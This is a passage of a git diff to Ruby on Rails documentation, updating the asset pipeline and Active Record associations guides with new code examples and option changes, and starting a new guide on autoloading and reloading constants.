application, and instead serve a specified file from disk. This option +is off by default, but can be enabled if your server supports it. When enabled, +this passes responsibility for serving the file to the web server, which is +faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file) +on how to use this feature. -Apache and nginx support this option, which can be enabled in `config/environments/production.rb`. +Apache and NGINX support this option, which can be enabled in +`config/environments/production.rb`: ```ruby -# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache -# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx +# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache +# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX ``` -WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`). +WARNING: If you are upgrading an existing application and intend to use this +option, take care to paste this configuration option only into `production.rb` +and any other environments you define with production behavior (not +`application.rb`). + +TIP: For further details have a look at the docs of your production web server: +- [Apache](https://tn123.org/mod_xsendfile/) +- [NGINX](http://wiki.nginx.org/XSendfile) Assets Cache Store ------------------ -The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`. +The default Rails cache store will be used by Sprockets to cache assets in +development and production. This can be changed by setting +`config.assets.cache_store`: ```ruby config.assets.cache_store = :memory_store ``` -The options accepted by the assets cache store are the same as the application's cache store. +The options accepted by the assets cache store are the same as the application's +cache store. ```ruby -config.assets.cache_store = :memory_store, { :size => 32.megabytes } +config.assets.cache_store = :memory_store, { size: 32.megabytes } +``` + +To disable the assets cache store: + +```ruby +config.assets.configure do |env| + env.cache = ActiveSupport::Cache.lookup_store(:null_store) +end ``` Adding Assets to Your Gems @@ -715,41 +1260,74 @@ Adding Assets to Your Gems Assets can also come from external sources in the form of gems. -A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets. +A good example of this is the `jquery-rails` gem which comes with Rails as the +standard JavaScript library gem. This gem contains an engine class which +inherits from `Rails::Engine`. By doing this, Rails is informed that the +directory for this gem may contain assets and the `app/assets`, `lib/assets` and +`vendor/assets` directories of this engine are added to the search path of +Sprockets. Making Your Library or Gem a Pre-Processor ------------------------------------------ -TODO: Registering gems on [Tilt](https://github.com/rtomayko/tilt) enabling Sprockets to find them. +As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic +interface to different templating engines, your gem should just implement the +Tilt template protocol. Normally, you would subclass `Tilt::Template` and +reimplement the `prepare` method, which initializes your template, and the +`evaluate` method, which returns the processed source. The original source is +stored in `data`. Have a look at +[`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb) +sources to learn more. + +```ruby +module BangBang + class Template < ::Tilt::Template + def prepare + # Do any initialization here + end + + # Adds a "!" to original template. + def evaluate(scope, locals, &block) + "#{data}!" + end + end +end +``` + +Now that you have a `Template` class, it's time to associate it with an +extension for template files: + +```ruby +Sprockets.register_engine '.bang', BangBang::Template +``` Upgrading from Old Versions of Rails ------------------------------------ -There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types. +There are a few issues when upgrading from Rails 3.0 or Rails 2.x. The first is +moving the files from `public/` to the new locations. See [Asset +Organization](#asset-organization) above for guidance on the correct locations +for different file types. -Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically. +Next will be avoiding duplicate JavaScript files. Since jQuery is the default +JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` +into `app/assets` and it will be included automatically. -The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. +The third is updating the various environment files with the correct default +options. In `application.rb`: ```ruby -# Enable the asset pipeline -config.assets.enabled = true - # Version of your assets, change this if you want to expire all your assets config.assets.version = '1.0' -# Change the path that assets are served from -# config.assets.prefix = "/assets" +# Change the path that assets are served from config.assets.prefix = "/assets" ``` In `development.rb`: ```ruby -# Do not compress assets -config.assets.compress = false - # Expands the lines which load the assets config.assets.debug = true ``` @@ -757,52 +1335,28 @@ config.assets.debug = true And in `production.rb`: ```ruby -# Compress JavaScripts and CSS -config.assets.compress = true - -# Choose the compressors to use -# config.assets.js_compressor = :uglifier -# config.assets.css_compressor = :yui +# Choose the compressors to use (if any) config.assets.js_compressor = +# :uglifier config.assets.css_compressor = :yui # Don't fallback to assets pipeline if a precompiled asset is missed config.assets.compile = false -# Generate digests for assets URLs. +# Generate digests for assets URLs. This is planned for deprecation. config.assets.digest = true -# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) -# config.assets.precompile += %w( search.js ) +# Precompile additional assets (application.js, application.css, and all +# non-JS/CSS are already added) config.assets.precompile += %w( search.js ) ``` -You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false. +Rails 4 no longer sets default config values for Sprockets in `test.rb`, so +`test.rb` now requires Sprockets configuration. The old defaults in the test +environment are: `config.assets.compile = true`, `config.assets.compress = false`, +`config.assets.debug = false` and `config.assets.digest = false`. The following should also be added to `Gemfile`: ```ruby -# Gems used only for assets and not required -# in production environments by default. -group :assets do - gem 'sass-rails', "~> 3.2.3" - gem 'coffee-rails', "~> 3.2.1" - gem 'uglifier' -end -``` - -If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement: - -```ruby -if defined?(Bundler) - # If you precompile assets before deploying to production, use this line - Bundler.require *Rails.groups(:assets => %w(development test)) - # If you want your assets lazily compiled in production, use this line - # Bundler.require(:default, :assets, Rails.env) -end -``` - -Instead of the old Rails 3.0 version: - -```ruby -# If you have a Gemfile, require the gems listed there, including any gems -# you've limited to :test, :development, or :production. -Bundler.require(:default, Rails.env) if defined?(Bundler) +gem 'sass-rails', "~> 3.2.3" +gem 'coffee-rails', "~> 3.2.1" +gem 'uglifier' ``` diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md index dd59e2a8df..95c7e747ef 100644 --- a/guides/source/association_basics.md +++ b/guides/source/association_basics.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Active Record Associations ========================== @@ -40,7 +42,7 @@ end @customer.destroy ``` -With Active Record associations, we can streamline these — and other — operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: +With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: ```ruby class Customer < ActiveRecord::Base @@ -69,7 +71,7 @@ To learn more about the different types of associations, read the next section o The Types of Associations ------------------------- -In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: +In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key-Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: * `belongs_to` * `has_one` @@ -101,13 +103,13 @@ class CreateOrders < ActiveRecord::Migration def change create_table :customers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :orders do |t| - t.belongs_to :customer + t.belongs_to :customer, index: true t.datetime :order_date - t.timestamps + t.timestamps null: false end end end @@ -132,13 +134,13 @@ class CreateSuppliers < ActiveRecord::Migration def change create_table :suppliers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :accounts do |t| - t.belongs_to :supplier + t.belongs_to :supplier, index: true t.string :account_number - t.timestamps + t.timestamps null: false end end end @@ -165,13 +167,13 @@ class CreateCustomers < ActiveRecord::Migration def change create_table :customers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :orders do |t| - t.belongs_to :customer + t.belongs_to :customer, index:true t.datetime :order_date - t.timestamps + t.timestamps null: false end end end @@ -207,19 +209,19 @@ class CreateAppointments < ActiveRecord::Migration def change create_table :physicians do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :patients do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :appointments do |t| - t.belongs_to :physician - t.belongs_to :patient + t.belongs_to :physician, index: true + t.belongs_to :patient, index: true t.datetime :appointment_date - t.timestamps + t.timestamps null: false end end end @@ -261,7 +263,10 @@ With `through: :sections` specified, Rails will now understand: ### The `has_one :through` Association -A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: +A `has_one :through` association sets up a one-to-one connection with another model. This association indicates +that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. +For example, if each supplier has one account, and each account is associated with one account history, then the +supplier model could look like this: ```ruby class Supplier < ActiveRecord::Base @@ -288,19 +293,19 @@ class CreateAccountHistories < ActiveRecord::Migration def change create_table :suppliers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :accounts do |t| - t.belongs_to :supplier + t.belongs_to :supplier, index: true t.string :account_number - t.timestamps + t.timestamps null: false end create_table :account_histories do |t| - t.belongs_to :account + t.belongs_to :account, index: true t.integer :credit_rating - t.timestamps + t.timestamps null: false end end end @@ -329,17 +334,17 @@ class CreateAssembliesAndParts < ActiveRecord::Migration def change create_table :assemblies do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :parts do |t| t.string :part_number - t.timestamps + t.timestamps null: false end - create_table :assemblies_parts do |t| - t.belongs_to :assembly - t.belongs_to :part + create_table :assemblies_parts, id: false do |t| + t.belongs_to :assembly, index: true + t.belongs_to :part, index: true end end end @@ -368,14 +373,16 @@ class CreateSuppliers < ActiveRecord::Migration def change create_table :suppliers do |t| t.string :name - t.timestamps + t.timestamps null: false end create_table :accounts do |t| t.integer :supplier_id t.string :account_number - t.timestamps + t.timestamps null: false end + + add_index :accounts, :supplier_id end end ``` @@ -450,8 +457,10 @@ class CreatePictures < ActiveRecord::Migration t.string :name t.integer :imageable_id t.string :imageable_type - t.timestamps + t.timestamps null: false end + + add_index :pictures, :imageable_id end end ``` @@ -463,8 +472,8 @@ class CreatePictures < ActiveRecord::Migration def change create_table :pictures do |t| t.string :name - t.references :imageable, polymorphic: true - t.timestamps + t.references :imageable, polymorphic: true, index: true + t.timestamps null: false end end end @@ -487,6 +496,19 @@ end With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`. +In your migrations/schema, you will add a references column to the model itself. + +```ruby +class CreateEmployees < ActiveRecord::Migration + def change + create_table :employees do |t| + t.references :manager, index: true + t.timestamps null: false + end + end +end +``` + Tips, Tricks, and Warnings -------------------------- @@ -545,6 +567,8 @@ class CreateOrders < ActiveRecord::Migration t.string :order_number t.integer :customer_id end + + add_index :orders, :customer_id end end ``` @@ -555,7 +579,7 @@ If you create an association some time after you build the underlying model, you If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. -WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings). +WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings). Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: @@ -572,12 +596,15 @@ end These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key: ```ruby -class CreateAssemblyPartJoinTable < ActiveRecord::Migration +class CreateAssembliesPartsJoinTable < ActiveRecord::Migration def change create_table :assemblies_parts, id: false do |t| t.integer :assembly_id t.integer :part_id end + + add_index :assemblies_parts, :assembly_id + add_index :assemblies_parts, :part_id end end ``` @@ -693,6 +720,17 @@ There are a few limitations to `inverse_of` support: * They do not work with `:as` associations. * For `belongs_to` associations, `has_many` inverse associations are ignored. +Every association will attempt to automatically find the inverse association +and set the `:inverse_of` option heuristically (based on the association name). +Most associations with standard names will be supported. However, associations +that contain the following options will not have their inverses set +automatically: + +* :conditions +* :through +* :polymorphic +* :foreign_key + Detailed Association Reference ------------------------------ @@ -704,12 +742,13 @@ The `belongs_to` association creates a one-to-one match with another model. In d #### Methods Added by `belongs_to` -When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association: +When you declare a `belongs_to` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` * `build_association(attributes = {})` * `create_association(attributes = {})` +* `create_association!(attributes = {})` In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration: @@ -719,13 +758,14 @@ class Order < ActiveRecord::Base end ``` -Each instance of the order model will have these methods: +Each instance of the `Order` model will have these methods: ```ruby customer customer= build_customer create_customer +create_customer! ``` NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. @@ -766,6 +806,10 @@ The `create_association` method returns a new object of the associated type. Thi customer_name: "John Doe") ``` +##### `create_association!(attributes = {})` + +Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `belongs_to` @@ -837,15 +881,21 @@ class Order < ActiveRecord::Base belongs_to :customer, counter_cache: :count_of_orders end class Customer < ActiveRecord::Base - has_many :orders + has_many :orders, counter_cache: :count_of_orders end ``` +NOTE: You only need to specify the :counter_cache option on the "has_many side" of the association when using a custom name for the counter cache. + Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`. ##### `:dependent` +If you set the `:dependent` option to: -If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method. +* `:destroy`, when the object is destroyed, `destroy` will be called on its +associated objects. +* `:delete`, when the object is destroyed, all its associated objects will be +deleted directly from the database without calling their `destroy` method. WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database. @@ -936,7 +986,7 @@ end ##### `includes` -You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: ```ruby class LineItem < ActiveRecord::Base @@ -1002,12 +1052,13 @@ The `has_one` association creates a one-to-one match with another model. In data #### Methods Added by `has_one` -When you declare a `has_one` association, the declaring class automatically gains four methods related to the association: +When you declare a `has_one` association, the declaring class automatically gains five methods related to the association: * `association(force_reload = false)` * `association=(associate)` * `build_association(attributes = {})` * `create_association(attributes = {})` +* `create_association!(attributes = {})` In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration: @@ -1024,6 +1075,7 @@ account account= build_account create_account +create_account! ``` NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix. @@ -1062,6 +1114,10 @@ The `create_association` method returns a new object of the associated type. Thi @account = @supplier.create_account(terms: "Net 30") ``` +##### `create_association!(attributes = {})` + +Does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `has_one` While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: @@ -1088,7 +1144,7 @@ The `has_one` association supports these options: ##### `:as` -Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. +Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail [earlier in this guide](#polymorphic-associations). ##### `:autosave` @@ -1109,11 +1165,17 @@ end Controls what happens to the associated object when its owner is destroyed: * `:destroy` causes the associated object to also be destroyed -* `:delete` causes the asssociated object to be deleted directly from the database (so callbacks will not execute) +* `:delete` causes the associated object to be deleted directly from the database (so callbacks will not execute) * `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed. * `:restrict_with_exception` causes an exception to be raised if there is an associated record * `:restrict_with_error` causes an error to be added to the owner if there is an associated object +It's necessary not to set or leave `:nullify` option for those associations +that have `NOT NULL` database constraints. If you don't set `dependent` to +destroy such associations you won't be able to change the associated object +because initial associated object foreign key will be set to unallowed `NULL` +value. + ##### `:foreign_key` By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: @@ -1154,7 +1216,7 @@ The `:source_type` option specifies the source association type for a `has_one : ##### `:through` -The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail <a href="#the-has-one-through-association">earlier in this guide</a>. +The `:through` option specifies a join model through which to perform the query. `has_one :through` associations were discussed in detail [earlier in this guide](#the-has-one-through-association). ##### `:validate` @@ -1257,15 +1319,15 @@ The `has_many` association creates a one-to-many relationship with another model #### Methods Added by `has_many` -When you declare a `has_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` * `collection.delete(object, ...)` * `collection.destroy(object, ...)` -* `collection=objects` +* `collection=(objects)` * `collection_singular_ids` -* `collection_singular_ids=ids` +* `collection_singular_ids=(ids)` * `collection.clear` * `collection.empty?` * `collection.size` @@ -1274,6 +1336,7 @@ When you declare a `has_many` association, the declaring class automatically gai * `collection.exists?(...)` * `collection.build(attributes = {}, ...)` * `collection.create(attributes = {})` +* `collection.create!(attributes = {})` In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: @@ -1283,16 +1346,16 @@ class Customer < ActiveRecord::Base end ``` -Each instance of the customer model will have these methods: +Each instance of the `Customer` model will have these methods: ```ruby orders(force_reload = false) orders<<(object, ...) orders.delete(object, ...) orders.destroy(object, ...) -orders=objects +orders=(objects) order_ids -order_ids=ids +order_ids=(ids) orders.clear orders.empty? orders.size @@ -1301,6 +1364,7 @@ orders.where(...) orders.exists?(...) orders.build(attributes = {}, ...) orders.create(attributes = {}) +orders.create!(attributes = {}) ``` ##### `collection(force_reload = false)` @@ -1339,7 +1403,7 @@ The `collection.destroy` method removes one or more objects from the collection WARNING: Objects will _always_ be removed from the database, ignoring the `:dependent` option. -##### `collection=objects` +##### `collection=(objects)` The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. @@ -1351,7 +1415,7 @@ The `collection_singular_ids` method returns an array of the ids of the objects @order_ids = @customer.order_ids ``` -##### `collection_singular_ids=ids` +##### `collection_singular_ids=(ids)` The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. @@ -1416,6 +1480,10 @@ The `collection.create` method returns a new object of the associated type. This order_number: "A12345") ``` +##### `collection.create!(attributes = {})` + +Does the same as `collection.create` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `has_many` While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: @@ -1431,6 +1499,7 @@ The `has_many` association supports these options: * `:as` * `:autosave` * `:class_name` +* `:counter_cache` * `:dependent` * `:foreign_key` * `:inverse_of` @@ -1442,7 +1511,7 @@ The `has_many` association supports these options: ##### `:as` -Setting the `:as` option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>. +Setting the `:as` option indicates that this is a polymorphic association, as discussed [earlier in this guide](#polymorphic-associations). ##### `:autosave` @@ -1458,18 +1527,20 @@ class Customer < ActiveRecord::Base end ``` +##### `:counter_cache` + +This option can be used to configure a custom named `:counter_cache`. You only need this option when you customized the name of your `:counter_cache` on the [belongs_to association](#options-for-belongs-to). + ##### `:dependent` Controls what happens to the associated objects when their owner is destroyed: * `:destroy` causes all the associated objects to also be destroyed -* `:delete_all` causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute) +* `:delete_all` causes all the associated objects to be deleted directly from the database (so callbacks will not execute) * `:nullify` causes the foreign keys to be set to `NULL`. Callbacks are not executed. * `:restrict_with_exception` causes an exception to be raised if there are any associated records * `:restrict_with_error` causes an error to be added to the owner if there are any associated objects -NOTE: This option is ignored when you use the `:through` option on the association. - ##### `:foreign_key` By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: @@ -1500,6 +1571,20 @@ end By convention, Rails assumes that the column used to hold the primary key of the association is `id`. You can override this and explicitly specify the primary key with the `:primary_key` option. +Let's say that `users` table has `id` as the primary_key but it also has +`guid` column. And the requirement is that `todos` table should hold +`guid` column value and not `id` value. This can be achieved like this + +```ruby +class User < ActiveRecord::Base + has_many :todos, primary_key: :guid +end +``` + +Now if we execute `@user.todos.create` then `@todo` record will have +`user_id` value as the `guid` value of `@user`. + + ##### `:source` The `:source` option specifies the source association name for a `has_many :through` association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. @@ -1510,7 +1595,7 @@ The `:source_type` option specifies the source association type for a `has_many ##### `:through` -The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has-many-through-association">earlier in this guide</a>. +The `:through` option specifies a join model through which to perform the query. `has_many :through` associations provide a way to implement many-to-many relationships, as discussed [earlier in this guide](#the-has-many-through-association). ##### `:validate` @@ -1563,7 +1648,7 @@ If you use a hash-style `where` option, then record creation via this associatio ##### `extending` -The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. +The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions). ##### `group` @@ -1648,43 +1733,67 @@ The `select` method lets you override the SQL `SELECT` clause that is used to re WARNING: If you specify your own `select`, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. -##### `uniq` +##### `distinct` -Use the `uniq` method to keep the collection free of duplicates. This is mostly useful together with the `:through` option. +Use the `distinct` method to keep the collection free of duplicates. This is +mostly useful together with the `:through` option. ```ruby class Person < ActiveRecord::Base has_many :readings - has_many :posts, through: :readings + has_many :articles, through: :readings end person = Person.create(name: 'John') -post = Post.create(name: 'a1') -person.posts << post -person.posts << post -person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">] -Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>] +article = Article.create(name: 'a1') +person.articles << article +person.articles << article +person.articles.inspect # => [#<Article id: 5, name: "a1">, #<Article id: 5, name: "a1">] +Reading.all.inspect # => [#<Reading id: 12, person_id: 5, article_id: 5>, #<Reading id: 13, person_id: 5, article_id: 5>] ``` -In the above case there are two readings and `person.posts` brings out both of them even though these records are pointing to the same post. +In the above case there are two readings and `person.articles` brings out both of +them even though these records are pointing to the same article. -Now let's set `uniq`: +Now let's set `distinct`: ```ruby class Person has_many :readings - has_many :posts, -> { uniq }, through: :readings + has_many :articles, -> { distinct }, through: :readings end person = Person.create(name: 'Honda') -post = Post.create(name: 'a1') -person.posts << post -person.posts << post -person.posts.inspect # => [#<Post id: 7, name: "a1">] -Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>] +article = Article.create(name: 'a1') +person.articles << article +person.articles << article +person.articles.inspect # => [#<Article id: 7, name: "a1">] +Reading.all.inspect # => [#<Reading id: 16, person_id: 7, article_id: 7>, #<Reading id: 17, person_id: 7, article_id: 7>] +``` + +In the above case there are still two readings. However `person.articles` shows +only one article because the collection loads only unique records. + +If you want to make sure that, upon insertion, all of the records in the +persisted association are distinct (so that you can be sure that when you +inspect the association that you will never find duplicate records), you should +add a unique index on the table itself. For example, if you have a table named +`person_articles` and you want to make sure all the articles are unique, you could +add the following in a migration: + +```ruby +add_index :person_articles, :article, unique: true ``` -In the above case there are still two readings. However `person.posts` shows only one post because the collection loads only unique records. +Note that checking for uniqueness using something like `include?` is subject +to race conditions. Do not attempt to use `include?` to enforce distinctness +in an association. For instance, using the article example from above, the +following code would be racy because multiple users could be attempting this +at the same time: + +```ruby +person.articles << article unless person.articles.include?(article) +``` #### When are Objects Saved? @@ -1702,15 +1811,15 @@ The `has_and_belongs_to_many` association creates a many-to-many relationship wi #### Methods Added by `has_and_belongs_to_many` -When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 13 methods related to the association: +When you declare a `has_and_belongs_to_many` association, the declaring class automatically gains 16 methods related to the association: * `collection(force_reload = false)` * `collection<<(object, ...)` * `collection.delete(object, ...)` * `collection.destroy(object, ...)` -* `collection=objects` +* `collection=(objects)` * `collection_singular_ids` -* `collection_singular_ids=ids` +* `collection_singular_ids=(ids)` * `collection.clear` * `collection.empty?` * `collection.size` @@ -1719,6 +1828,7 @@ When you declare a `has_and_belongs_to_many` association, the declaring class au * `collection.exists?(...)` * `collection.build(attributes = {})` * `collection.create(attributes = {})` +* `collection.create!(attributes = {})` In all of these methods, `collection` is replaced with the symbol passed as the first argument to `has_and_belongs_to_many`, and `collection_singular` is replaced with the singularized version of that symbol. For example, given the declaration: @@ -1728,16 +1838,16 @@ class Part < ActiveRecord::Base end ``` -Each instance of the part model will have these methods: +Each instance of the `Part` model will have these methods: ```ruby assemblies(force_reload = false) assemblies<<(object, ...) assemblies.delete(object, ...) assemblies.destroy(object, ...) -assemblies=objects +assemblies=(objects) assembly_ids -assembly_ids=ids +assembly_ids=(ids) assemblies.clear assemblies.empty? assemblies.size @@ -1746,6 +1856,7 @@ assemblies.where(...) assemblies.exists?(...) assemblies.build(attributes = {}, ...) assemblies.create(attributes = {}) +assemblies.create!(attributes = {}) ``` ##### Additional Column Methods @@ -1791,7 +1902,7 @@ The `collection.destroy` method removes one or more objects from the collection @part.assemblies.destroy(@assembly1) ``` -##### `collection=objects` +##### `collection=(objects)` The `collection=` method makes the collection contain only the supplied objects, by adding and deleting as appropriate. @@ -1803,7 +1914,7 @@ The `collection_singular_ids` method returns an array of the ids of the objects @assembly_ids = @part.assembly_ids ``` -##### `collection_singular_ids=ids` +##### `collection_singular_ids=(ids)` The `collection_singular_ids=` method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. @@ -1865,14 +1976,18 @@ The `collection.create` method returns a new object of the associated type. This @assembly = @part.assemblies.create({assembly_name: "Transmission housing"}) ``` +##### `collection.create!(attributes = {})` + +Does the same as `collection.create`, but raises `ActiveRecord::RecordInvalid` if the record is invalid. + #### Options for `has_and_belongs_to_many` While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options: ```ruby class Parts < ActiveRecord::Base - has_and_belongs_to_many :assemblies, uniq: true, - read_only: true + has_and_belongs_to_many :assemblies, autosave: true, + readonly: true end ``` @@ -1884,6 +1999,7 @@ The `has_and_belongs_to_many` association supports these options: * `:foreign_key` * `:join_table` * `:validate` +* `:readonly` ##### `:association_foreign_key` @@ -1893,7 +2009,7 @@ TIP: The `:foreign_key` and `:association_foreign_key` options are useful when s ```ruby class User < ActiveRecord::Base - has_and_belongs_to_many :friends, + has_and_belongs_to_many :friends, class_name: "User", foreign_key: "this_user_id", association_foreign_key: "other_user_id" @@ -1982,7 +2098,7 @@ If you use a hash-style `where`, then record creation via this association will ##### `extending` -The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. +The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail [later in this guide](#association-extensions). ##### `group` @@ -2098,7 +2214,7 @@ You're not limited to the functionality that Rails automatically builds into ass class Customer < ActiveRecord::Base has_many :orders do def find_by_order_prefix(order_number) - find_by_region_id(order_number[0..2]) + find_by(region_id: order_number[0..2]) end end end diff --git a/guides/source/autoloading_and_reloading_constants.md b/guides/source/autoloading_and_reloading_constants.md new file mode 100644 index 0000000000..489ea681e2 --- /dev/null +++ b/guides/source/autoloading_and_reloading_constants.md @@ -0,0 +1,1300 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +Autoloading and Reloading Constants +=================================== + +This guide documents how constant autoloading and reloading works. + +After reading this guide, you will know: + +* Key aspects of Ruby constants +* What is `autoload_paths` +* How constant autoloading works +* What is `require_dependency` +* How constant reloading works +* Solutions to common autoloading gotchas + +-------------------------------------------------------------------------------- + + +Introduction +------------ + +Ruby on Rails allows applications to be written as if their code was preloaded. + +In a normal Ruby program classes need to load their dependencies: + +```ruby +require 'application_controller' +require 'post' + +class PostsController < ApplicationController + def index + @posts = Post.all + end +end +``` + +Our Rubyist 